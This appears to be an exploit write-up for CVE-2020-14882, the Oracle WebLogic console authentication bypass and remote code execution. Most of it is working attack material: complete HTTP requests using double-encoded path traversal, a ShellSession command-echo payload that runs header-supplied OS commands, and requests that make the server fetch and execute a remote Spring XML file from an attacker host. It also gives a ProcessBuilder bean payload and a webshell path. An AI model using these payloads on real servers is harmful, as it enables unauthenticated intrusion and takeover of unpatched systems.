CVE-2020–14882 Weblogic Unauthorized bypass RCE

bypass patch with CVE-2020–14882

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};

list

%252E%252E
%2E%2E
..
%3E
%3C
;
<
>

lower

>>> "%252E%252E%252F".lower()
'%252e%252e%252f'

%252E%252E%252F to %252e%252e%252f

/console/css/%252e%252e%252fconsole.portal

from https://twitter.com/chybeta/status/1322131143034957826/photo/2

Command Echo For Weblogic 12.2.1.4.0

e.g.

cmd: chcp 65001&&whoami&&ipconfig

Burpsuite

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

回显参考链接：

https://xz.aliyun.com/t/5299
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/weblogic/code/WeblogicEcho.jsp
https://mp.weixin.qq.com/s/u8cZEcku-uIbGAVAcos5Tw

回显payload

weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}
executeThread.interrupt();

ShellSession

coherence-rest.jar#com.tangosol.coherence.mvel2.sh.ShellSession

Payload

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('calc.exe');");

Getshell

ROOT_PATH= C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\

Shell_path= ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

FileSystemXmlApplicationContext

com.bea.core.repackaged.springframework.spring.jar#com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.242.1:8989/poc.xml")

poc.xml

python -m SimpleHTTPServer

python -m pyftpdlib

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

ClassPathXmlApplicationContext

com.bea.core.repackaged.springframework.spring.jar#com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext

POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
Host: 192.168.28.128:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 161

_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.16.242.1:8989/poc.xml")

patch for CVE-2020–14882

no patch

C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar

com.bea.console.utils.MBeanUtilsInitSingleFileServlet

patch bypass notice for CVE-2020-14882

[Vulnerability warning] WebLogic console remote execution vulnerability (CVE-2020-14882) patch bypasses 0day

https://help.aliyun.com/noticelist/articleid/1060738870.html

vuln version

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

参考链接

https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

https://www.oracle.com/security-alerts/cpuoct2020.html

loveh4ck/CVE-2020-14882